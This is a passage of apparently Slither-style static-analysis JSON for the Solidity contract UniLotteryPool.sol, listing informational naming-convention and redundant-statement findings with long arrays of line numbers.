6027, 6028, 6029, 6030, 6031, 6032, 6033, 6034, 6035, 6036, 6037, 6038, 6039, 6040, 6041, 6042, 6043, 6044, 6045, 6046, 6047, 6048, 6049, 6050, 6051, 6052, 6053, 6054, 6055, 6056, 6057, 6058, 6059, 6060, 6061, 6062, 6063, 6064, 6065, 6066, 6067, 6068, 6069, 6070, 6071, 6072, 6073, 6074, 6075, 6076, 6077, 6078, 6079, 6080, 6081, 6082, 6083, 6084, 6085, 6086, 6087, 6088, 6089, 6090, 6091, 6092, 6093, 6094, 6095, 6096, 6097, 6098, 6099, 6100, 6101, 6102, 6103, 6104, 6105, 6106, 6107, 6108, 6109, 6110, 6111, 6112, 6113, 6114, 6115, 6116, 6117, 6118, 6119, 6120, 6121, 6122, 6123, 6124, 6125, 6126, 6127, 6128, 6129, 6130, 6131, 6132, 6133, 6134, 6135, 6136, 6137, 6138, 6139, 6140, 6141, 6142, 6143]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6083]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3390, 3391]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5395]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5529, 5530, 5531, 5532, 5533]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5243]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1265, 1266]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4889]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5664, 5665, 5666, 5667, 5668, 5669, 5670, 5671, 5663]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5653]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5653, 5654, 5655, 5656, 5657, 5658, 5659, 5660, 5661]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5085]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5785]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6016, 6017, 6018, 5993, 5994, 5995, 5996, 5997, 5998, 5999, 6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010, 6011, 6012, 6013, 6014, 6015]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6043]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4242]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5085]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5505]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5673]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5591]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4926]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5210]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5309]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5309]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1986]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3569]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5734]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5072]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5653]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5607]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5403]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5554]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5275]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5429, 5430, 5431, 5432, 5433, 5434, 5435, 5436]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5625]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5457, 5458, 5459, 5460, 5461, 5462, 5463, 5464, 5465]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5529]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3667]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6043]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5993]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5487]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6102, 6103, 6104, 6105, 6106, 6107, 6108, 6109, 6110, 6111, 6112, 6113, 6114, 6115, 6116, 6117, 6118, 6119, 6120, 6121, 6122, 6123]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5922]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7429]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3568]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5496]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1322]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5018]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5251]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5387, 5388, 5389, 5390, 5391, 5392, 5393]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5064]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5429]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5554]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5403]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5403]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5547]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5291]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5616]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5300, 5301, 5302, 5303, 5304, 5305, 5306, 5307]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5420, 5421, 5422, 5423, 5424, 5425, 5426, 5427]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3666]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5561, 5562, 5563, 5564, 5565, 5566]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5781]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5457]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5599]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6831]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6144, 6145, 6146, 6147, 6148, 6149, 6150, 6151, 6152, 6153, 6154, 6155, 6156, 6157, 6158, 6159, 6160, 6161, 6162, 6163, 6164, 6165, 6166, 6167, 6168, 6169, 6170, 6171, 6172, 6173, 6174, 6175, 6176, 5106, 5107, 5108, 5109, 5110, 5111, 5112, 5113, 5114, 5115, 5116, 5117, 5118, 5119, 5120, 5121, 5122, 5123, 5124, 5125, 5126, 5127, 5128, 5129, 5130, 5131, 5132, 5133, 5134, 5135, 5136, 5137, 5138, 5139, 5140, 5141, 5142, 5143, 5144, 5145, 5146, 5147, 5148, 5149, 5150, 5151, 5152, 5153, 5154, 5155, 5156, 5157, 5158, 5159, 5160, 5161, 5162, 5163, 5164, 5165, 5166, 5167, 5168, 5169, 5170, 5171, 5172, 5173, 5174, 5175, 5176, 5177, 5178, 5179, 5180, 5181, 5182, 5183, 5184, 5185, 5186, 5187, 5188, 5189, 5190, 5191, 5192, 5193, 5194, 5195, 5196, 5197, 5198, 5199, 5200, 5201, 5202, 5203, 5204, 5205, 5206, 5207, 5208, 5209, 5210, 5211, 5212, 5213, 5214, 5215, 5216, 5217, 5218, 5219, 5220, 5221, 5222, 5223, 5224, 5225, 5226, 5227, 5228, 5229, 5230, 5231, 5232, 5233, 5234, 5235, 5236, 5237, 5238, 5239, 5240, 5241, 5242, 5243, 5244, 5245, 5246, 5247, 5248, 5249, 5250, 5251, 5252, 5253, 5254, 5255, 5256, 5257, 5258, 5259, 5260, 5261, 5262, 5263, 5264, 5265, 5266, 5267, 5268, 5269, 5270, 5271, 5272, 5273, 5274, 5275, 5276, 5277, 5278, 5279, 5280, 5281, 5282, 5283, 5284, 5285, 5286, 5287, 5288, 5289, 5290, 5291, 5292, 5293, 5294, 5295, 5296, 5297, 5298, 5299, 5300, 5301, 5302, 5303, 5304, 5305, 5306, 5307, 5308, 5309, 5310, 5311, 5312, 5313, 5314, 5315, 5316, 5317, 5318, 5319, 5320, 5321, 5322, 5323, 5324, 5325, 5326, 5327, 5328, 5329, 5330, 5331, 5332, 5333, 5334, 5335, 5336, 5337, 5338, 5339, 5340, 5341, 5342, 5343, 5344, 5345, 5346, 5347, 5348, 5349, 5350, 5351, 5352, 5353, 5354, 5355, 5356, 5357, 5358, 5359, 5360, 5361, 5362, 5363, 5364, 5365, 5366, 5367, 5368, 5369, 5370, 5371, 5372, 5373, 5374, 5375, 5376, 5377, 5378, 5379, 5380, 5381, 5382, 5383, 5384, 5385, 5386, 5387, 5388, 5389, 5390, 5391, 5392, 5393, 5394, 5395, 5396, 5397, 5398, 5399, 5400, 5401, 5402, 5403, 5404, 5405, 5406, 5407, 5408, 5409, 5410, 5411, 5412, 5413, 5414, 5415, 5416, 5417, 5418, 5419, 5420, 5421, 5422, 5423, 5424, 5425, 5426, 5427, 5428, 5429, 5430, 5431, 5432, 5433, 5434, 5435, 5436, 5437, 5438, 5439, 5440, 5441, 5442, 5443, 5444, 5445, 5446, 5447, 5448, 5449, 5450, 5451, 5452, 5453, 5454, 5455, 5456, 5457, 5458, 5459, 5460, 5461, 5462, 5463, 5464, 5465, 5466, 5467, 5468, 5469, 5470, 5471, 5472, 5473, 5474, 5475, 5476, 5477, 5478, 5479, 5480, 5481, 5482, 5483, 5484, 5485, 5486, 5487, 5488, 5489, 5490, 5491, 5492, 5493, 5494, 5495, 5496, 5497, 5498, 5499, 5500, 5501, 5502, 5503, 5504, 5505, 5506, 5507, 5508, 5509, 5510, 5511, 5512, 5513, 5514, 5515, 5516, 5517, 5518, 5519, 5520, 5521, 5522, 5523, 5524, 5525, 5526, 5527, 5528, 5529, 5530, 5531, 5532, 5533, 5534, 5535, 5536, 5537, 5538, 5539, 5540, 5541, 5542, 5543, 5544, 5545, 5546, 5547, 5548, 5549, 5550, 5551, 5552, 5553, 5554, 5555, 5556, 5557, 5558, 5559, 5560, 5561, 5562, 5563, 5564, 5565, 5566, 5567, 5568, 5569, 5570, 5571, 5572, 5573, 5574, 5575, 5576, 5577, 5578, 5579, 5580, 5581, 5582, 5583, 5584, 5585, 5586, 5587, 5588, 5589, 5590, 5591, 5592, 5593, 5594, 5595, 5596, 5597, 5598, 5599, 5600, 5601, 5602, 5603, 5604, 5605, 5606, 5607, 5608, 5609, 5610, 5611, 5612, 5613, 5614, 5615, 5616, 5617, 5618, 5619, 5620, 5621, 5622, 5623, 5624, 5625, 5626, 5627, 5628, 5629, 5630, 5631, 5632, 5633, 5634, 5635, 5636, 5637, 5638, 5639, 5640, 5641, 5642, 5643, 5644, 5645, 5646, 5647, 5648, 5649, 5650, 5651, 5652, 5653, 5654, 5655, 5656, 5657, 5658, 5659, 5660, 5661, 5662, 5663, 5664, 5665, 5666, 5667, 5668, 5669, 5670, 5671, 5672, 5673, 5674, 5675, 5676, 5677, 5678, 5679, 5680, 5681, 5682, 5683, 5684, 5685, 5686, 5687, 5688, 5689, 5690, 5691, 5692, 5693, 5694, 5695, 5696, 5697, 5698, 5699, 5700, 5701, 5702, 5703, 5704, 5705, 5706, 5707, 5708, 5709, 5710, 5711, 5712, 5713, 5714, 5715, 5716, 5717, 5718, 5719, 5720, 5721, 5722, 5723, 5724, 5725, 5726, 5727, 5728, 5729, 5730, 5731, 5732, 5733, 5734, 5735, 5736, 5737, 5738, 5739, 5740, 5741, 5742, 5743, 5744, 5745, 5746, 5747, 5748, 5749, 5750, 5751, 5752, 5753, 5754, 5755, 5756, 5757, 5758, 5759, 5760, 5761, 5762, 5763, 5764, 5765, 5766, 5767, 5768, 5769, 5770, 5771, 5772, 5773, 5774, 5775, 5776, 5777, 5778, 5779, 5780, 5781, 5782, 5783, 5784, 5785, 5786, 5787, 5788, 5789, 5790, 5791, 5792, 5793, 5794, 5795, 5796, 5797, 5798, 5799, 5800, 5801, 5802, 5803, 5804, 5805, 5806, 5807, 5808, 5809, 5810, 5811, 5812, 5813, 5814, 5815, 5816, 5817, 5818, 5819, 5820, 5821, 5822, 5823, 5824, 5825, 5826, 5827, 5828, 5829, 5830, 5831, 5832, 5833, 5834, 5835, 5836, 5837, 5838, 5839, 5840, 5841, 5842, 5843, 5844, 5845, 5846, 5847, 5848, 5849, 5850, 5851, 5852, 5853, 5854, 5855, 5856, 5857, 5858, 5859, 5860, 5861, 5862, 5863, 5864, 5865, 5866, 5867, 5868, 5869, 5870, 5871, 5872, 5873, 5874, 5875, 5876, 5877, 5878, 5879, 5880, 5881, 5882, 5883, 5884, 5885, 5886, 5887, 5888, 5889, 5890, 5891, 5892, 5893, 5894, 5895, 5896, 5897, 5898, 5899, 5900, 5901, 5902, 5903, 5904, 5905, 5906, 5907, 5908, 5909, 5910, 5911, 5912, 5913, 5914, 5915, 5916, 5917, 5918, 5919, 5920, 5921, 5922, 5923, 5924, 5925, 5926, 5927, 5928, 5929, 5930, 5931, 5932, 5933, 5934, 5935, 5936, 5937, 5938, 5939, 5940, 5941, 5942, 5943, 5944, 5945, 5946, 5947, 5948, 5949, 5950, 5951, 5952, 5953, 5954, 5955, 5956, 5957, 5958, 5959, 5960, 5961, 5962, 5963, 5964, 5965, 5966, 5967, 5968, 5969, 5970, 5971, 5972, 5973, 5974, 5975, 5976, 5977, 5978, 5979, 5980, 5981, 5982, 5983, 5984, 5985, 5986, 5987, 5988, 5989, 5990, 5991, 5992, 5993, 5994, 5995, 5996, 5997, 5998, 5999, 6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010, 6011, 6012, 6013, 6014, 6015, 6016, 6017, 6018, 6019, 6020, 6021, 6022, 6023, 6024, 6025, 6026, 6027, 6028, 6029, 6030, 6031, 6032, 6033, 6034, 6035, 6036, 6037, 6038, 6039, 6040, 6041, 6042, 6043, 6044, 6045, 6046, 6047, 6048, 6049, 6050, 6051, 6052, 6053, 6054, 6055, 6056, 6057, 6058, 6059, 6060, 6061, 6062, 6063, 6064, 6065, 6066, 6067, 6068, 6069, 6070, 6071, 6072, 6073, 6074, 6075, 6076, 6077, 6078, 6079, 6080, 6081, 6082, 6083, 6084, 6085, 6086, 6087, 6088, 6089, 6090, 6091, 6092, 6093, 6094, 6095, 6096, 6097, 6098, 6099, 6100, 6101, 6102, 6103, 6104, 6105, 6106, 6107, 6108, 6109, 6110, 6111, 6112, 6113, 6114, 6115, 6116, 6117, 6118, 6119, 6120, 6121, 6122, 6123, 6124, 6125, 6126, 6127, 6128, 6129, 6130, 6131, 6132, 6133, 6134, 6135, 6136, 6137, 6138, 6139, 6140, 6141, 6142, 6143]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6144, 6145, 6146, 6147, 6148, 6149, 6150, 6151, 6152, 6153, 6154, 6155, 6156, 6157, 6158, 6159, 6160, 6161, 6162, 6163, 6164, 6165, 6166, 6167, 6168, 6169, 6170, 6171, 6172, 6173, 6174, 6175, 6176, 5106, 5107, 5108, 5109, 5110, 5111, 5112, 5113, 5114, 5115, 5116, 5117, 5118, 5119, 5120, 5121, 5122, 5123, 5124, 5125, 5126, 5127, 5128, 5129, 5130, 5131, 5132, 5133, 5134, 5135, 5136, 5137, 5138, 5139, 5140, 5141, 5142, 5143, 5144, 5145, 5146, 5147, 5148, 5149, 5150, 5151, 5152, 5153, 5154, 5155, 5156, 5157, 5158, 5159, 5160, 5161, 5162, 5163, 5164, 5165, 5166, 5167, 5168, 5169, 5170, 5171, 5172, 5173, 5174, 5175, 5176, 5177, 5178, 5179, 5180, 5181, 5182, 5183, 5184, 5185, 5186, 5187, 5188, 5189, 5190, 5191, 5192, 5193, 5194, 5195, 5196, 5197, 5198, 5199, 5200, 5201, 5202, 5203, 5204, 5205, 5206, 5207, 5208, 5209, 5210, 5211, 5212, 5213, 5214, 5215, 5216, 5217, 5218, 5219, 5220, 5221, 5222, 5223, 5224, 5225, 5226, 5227, 5228, 5229, 5230, 5231, 5232, 5233, 5234, 5235, 5236, 5237, 5238, 5239, 5240, 5241, 5242, 5243, 5244, 5245, 5246, 5247, 5248, 5249, 5250, 5251, 5252, 5253, 5254, 5255, 5256, 5257, 5258, 5259, 5260, 5261, 5262, 5263, 5264, 5265, 5266, 5267, 5268, 5269, 5270, 5271, 5272, 5273, 5274, 5275, 5276, 5277, 5278, 5279, 5280, 5281, 5282, 5283, 5284, 5285, 5286, 5287, 5288, 5289, 5290, 5291, 5292, 5293, 5294, 5295, 5296, 5297, 5298, 5299, 5300, 5301, 5302, 5303, 5304, 5305, 5306, 5307, 5308, 5309, 5310, 5311, 5312, 5313, 5314, 5315, 5316, 5317, 5318, 5319, 5320, 5321, 5322, 5323, 5324, 5325, 5326, 5327, 5328, 5329, 5330, 5331, 5332, 5333, 5334, 5335, 5336, 5337, 5338, 5339, 5340, 5341, 5342, 5343, 5344, 5345, 5346, 5347, 5348, 5349, 5350, 5351, 5352, 5353, 5354, 5355, 5356, 5357, 5358, 5359, 5360, 5361, 5362, 5363, 5364, 5365, 5366, 5367, 5368, 5369, 5370, 5371, 5372, 5373, 5374, 5375, 5376, 5377, 5378, 5379, 5380, 5381, 5382, 5383, 5384, 5385, 5386, 5387, 5388, 5389, 5390, 5391, 5392, 5393, 5394, 5395, 5396, 5397, 5398, 5399, 5400, 5401, 5402, 5403, 5404, 5405, 5406, 5407, 5408, 5409, 5410, 5411, 5412, 5413, 5414, 5415, 5416, 5417, 5418, 5419, 5420, 5421, 5422, 5423, 5424, 5425, 5426, 5427, 5428, 5429, 5430, 5431, 5432, 5433, 5434, 5435, 5436, 5437, 5438, 5439, 5440, 5441, 5442, 5443, 5444, 5445, 5446, 5447, 5448, 5449, 5450, 5451, 5452, 5453, 5454, 5455, 5456, 5457, 5458, 5459, 5460, 5461, 5462, 5463, 5464, 5465, 5466, 5467, 5468, 5469, 5470, 5471, 5472, 5473, 5474, 5475, 5476, 5477, 5478, 5479, 5480, 5481, 5482, 5483, 5484, 5485, 5486, 5487, 5488, 5489, 5490, 5491, 5492, 5493, 5494, 5495, 5496, 5497, 5498, 5499, 5500, 5501, 5502, 5503, 5504, 5505, 5506, 5507, 5508, 5509, 5510, 5511, 5512, 5513, 5514, 5515, 5516, 5517, 5518, 5519, 5520, 5521, 5522, 5523, 5524, 5525, 5526, 5527, 5528, 5529, 5530, 5531, 5532, 5533, 5534, 5535, 5536, 5537, 5538, 5539, 5540, 5541, 5542, 5543, 5544, 5545, 5546, 5547, 5548, 5549, 5550, 5551, 5552, 5553, 5554, 5555, 5556, 5557, 5558, 5559, 5560, 5561, 5562, 5563, 5564, 5565, 5566, 5567, 5568, 5569, 5570, 5571, 5572, 5573, 5574, 5575, 5576, 5577, 5578, 5579, 5580, 5581, 5582, 5583, 5584, 5585, 5586, 5587, 5588, 5589, 5590, 5591, 5592, 5593, 5594, 5595, 5596, 5597, 5598, 5599, 5600, 5601, 5602, 5603, 5604, 5605, 5606, 5607, 5608, 5609, 5610, 5611, 5612, 5613, 5614, 5615, 5616, 5617, 5618, 5619, 5620, 5621, 5622, 5623, 5624, 5625, 5626, 5627, 5628, 5629, 5630, 5631, 5632, 5633, 5634, 5635, 5636, 5637, 5638, 5639, 5640, 5641, 5642, 5643, 5644, 5645, 5646, 5647, 5648, 5649, 5650, 5651, 5652, 5653, 5654, 5655, 5656, 5657, 5658, 5659, 5660, 5661, 5662, 5663, 5664, 5665, 5666, 5667, 5668, 5669, 5670, 5671, 5672, 5673, 5674, 5675, 5676, 5677, 5678, 5679, 5680, 5681, 5682, 5683, 5684, 5685, 5686, 5687, 5688, 5689, 5690, 5691, 5692, 5693, 5694, 5695, 5696, 5697, 5698, 5699, 5700, 5701, 5702, 5703, 5704, 5705, 5706, 5707, 5708, 5709, 5710, 5711, 5712, 5713, 5714, 5715, 5716, 5717, 5718, 5719, 5720, 5721, 5722, 5723, 5724, 5725, 5726, 5727, 5728, 5729, 5730, 5731, 5732, 5733, 5734, 5735, 5736, 5737, 5738, 5739, 5740, 5741, 5742, 5743, 5744, 5745, 5746, 5747, 5748, 5749, 5750, 5751, 5752, 5753, 5754, 5755, 5756, 5757, 5758, 5759, 5760, 5761, 5762, 5763, 5764, 5765, 5766, 5767, 5768, 5769, 5770, 5771, 5772, 5773, 5774, 5775, 5776, 5777, 5778, 5779, 5780, 5781, 5782, 5783, 5784, 5785, 5786, 5787, 5788, 5789, 5790, 5791, 5792, 5793, 5794, 5795, 5796, 5797, 5798, 5799, 5800, 5801, 5802, 5803, 5804, 5805, 5806, 5807, 5808, 5809, 5810, 5811, 5812, 5813, 5814, 5815, 5816, 5817, 5818, 5819, 5820, 5821, 5822, 5823, 5824, 5825, 5826, 5827, 5828, 5829, 5830, 5831, 5832, 5833, 5834, 5835, 5836, 5837, 5838, 5839, 5840, 5841, 5842, 5843, 5844, 5845, 5846, 5847, 5848, 5849, 5850, 5851, 5852, 5853, 5854, 5855, 5856, 5857, 5858, 5859, 5860, 5861, 5862, 5863, 5864, 5865, 5866, 5867, 5868, 5869, 5870, 5871, 5872, 5873, 5874, 5875, 5876, 5877, 5878, 5879, 5880, 5881, 5882, 5883, 5884, 5885, 5886, 5887, 5888, 5889, 5890, 5891, 5892, 5893, 5894, 5895, 5896, 5897, 5898, 5899, 5900, 5901, 5902, 5903, 5904, 5905, 5906, 5907, 5908, 5909, 5910, 5911, 5912, 5913, 5914, 5915, 5916, 5917, 5918, 5919, 5920, 5921, 5922, 5923, 5924, 5925, 5926, 5927, 5928, 5929, 5930, 5931, 5932, 5933, 5934, 5935, 5936, 5937, 5938, 5939, 5940, 5941, 5942, 5943, 5944, 5945, 5946, 5947, 5948, 5949, 5950, 5951, 5952, 5953, 5954, 5955, 5956, 5957, 5958, 5959, 5960, 5961, 5962, 5963, 5964, 5965, 5966, 5967, 5968, 5969, 5970, 5971, 5972, 5973, 5974, 5975, 5976, 5977, 5978, 5979, 5980, 5981, 5982, 5983, 5984, 5985, 5986, 5987, 5988, 5989, 5990, 5991, 5992, 5993, 5994, 5995, 5996, 5997, 5998, 5999, 6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010, 6011, 6012, 6013, 6014, 6015, 6016, 6017, 6018, 6019, 6020, 6021, 6022, 6023, 6024, 6025, 6026, 6027, 6028, 6029, 6030, 6031, 6032, 6033, 6034, 6035, 6036, 6037, 6038, 6039, 6040, 6041, 6042, 6043, 6044, 6045, 6046, 6047, 6048, 6049, 6050, 6051, 6052, 6053, 6054, 6055, 6056, 6057, 6058, 6059, 6060, 6061, 6062, 6063, 6064, 6065, 6066, 6067, 6068, 6069, 6070, 6071, 6072, 6073, 6074, 6075, 6076, 6077, 6078, 6079, 6080, 6081, 6082, 6083, 6084, 6085, 6086, 6087, 6088, 6089, 6090, 6091, 6092, 6093, 6094, 6095, 6096, 6097, 6098, 6099, 6100, 6101, 6102, 6103, 6104, 6105, 6106, 6107, 6108, 6109, 6110, 6111, 6112, 6113, 6114, 6115, 6116, 6117, 6118, 6119, 6120, 6121, 6122, 6123, 6124, 6125, 6126, 6127, 6128, 6129, 6130, 6131, 6132, 6133, 6134, 6135, 6136, 6137, 6138, 6139, 6140, 6141, 6142, 6143]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6144, 6145, 6146, 6147, 6148, 6149, 6150, 6151, 6152, 6153, 6154, 6155, 6156, 6157, 6158, 6159, 6160, 6161, 6162, 6163, 6164, 6165, 6166, 6167, 6168, 6169, 6170, 6171, 6172, 6173, 6174, 6175, 6176, 5106, 5107, 5108, 5109, 5110, 5111, 5112, 5113, 5114, 5115, 5116, 5117, 5118, 5119, 5120, 5121, 5122, 5123, 5124, 5125, 5126, 5127, 5128, 5129, 5130, 5131, 5132, 5133, 5134, 5135, 5136, 5137, 5138, 5139, 5140, 5141, 5142, 5143, 5144, 5145, 5146, 5147, 5148, 5149, 5150, 5151, 5152, 5153, 5154, 5155, 5156, 5157, 5158, 5159, 5160, 5161, 5162, 5163, 5164, 5165, 5166, 5167, 5168, 5169, 5170, 5171, 5172, 5173, 5174, 5175, 5176, 5177, 5178, 5179, 5180, 5181, 5182, 5183, 5184, 5185, 5186, 5187, 5188, 5189, 5190, 5191, 5192, 5193, 5194, 5195, 5196, 5197, 5198, 5199, 5200, 5201, 5202, 5203, 5204, 5205, 5206, 5207, 5208, 5209, 5210, 5211, 5212, 5213, 5214, 5215, 5216, 5217, 5218, 5219, 5220, 5221, 5222, 5223, 5224, 5225, 5226, 5227, 5228, 5229, 5230, 5231, 5232, 5233, 5234, 5235, 5236, 5237, 5238, 5239, 5240, 5241, 5242, 5243, 5244, 5245, 5246, 5247, 5248, 5249, 5250, 5251, 5252, 5253, 5254, 5255, 5256, 5257, 5258, 5259, 5260, 5261, 5262, 5263, 5264, 5265, 5266, 5267, 5268, 5269, 5270, 5271, 5272, 5273, 5274, 5275, 5276, 5277, 5278, 5279, 5280, 5281, 5282, 5283, 5284, 5285, 5286, 5287, 5288, 5289, 5290, 5291, 5292, 5293, 5294, 5295, 5296, 5297, 5298, 5299, 5300, 5301, 5302, 5303, 5304, 5305, 5306, 5307, 5308, 5309, 5310, 5311, 5312, 5313, 5314, 5315, 5316, 5317, 5318, 5319, 5320, 5321, 5322, 5323, 5324, 5325, 5326, 5327, 5328, 5329, 5330, 5331, 5332, 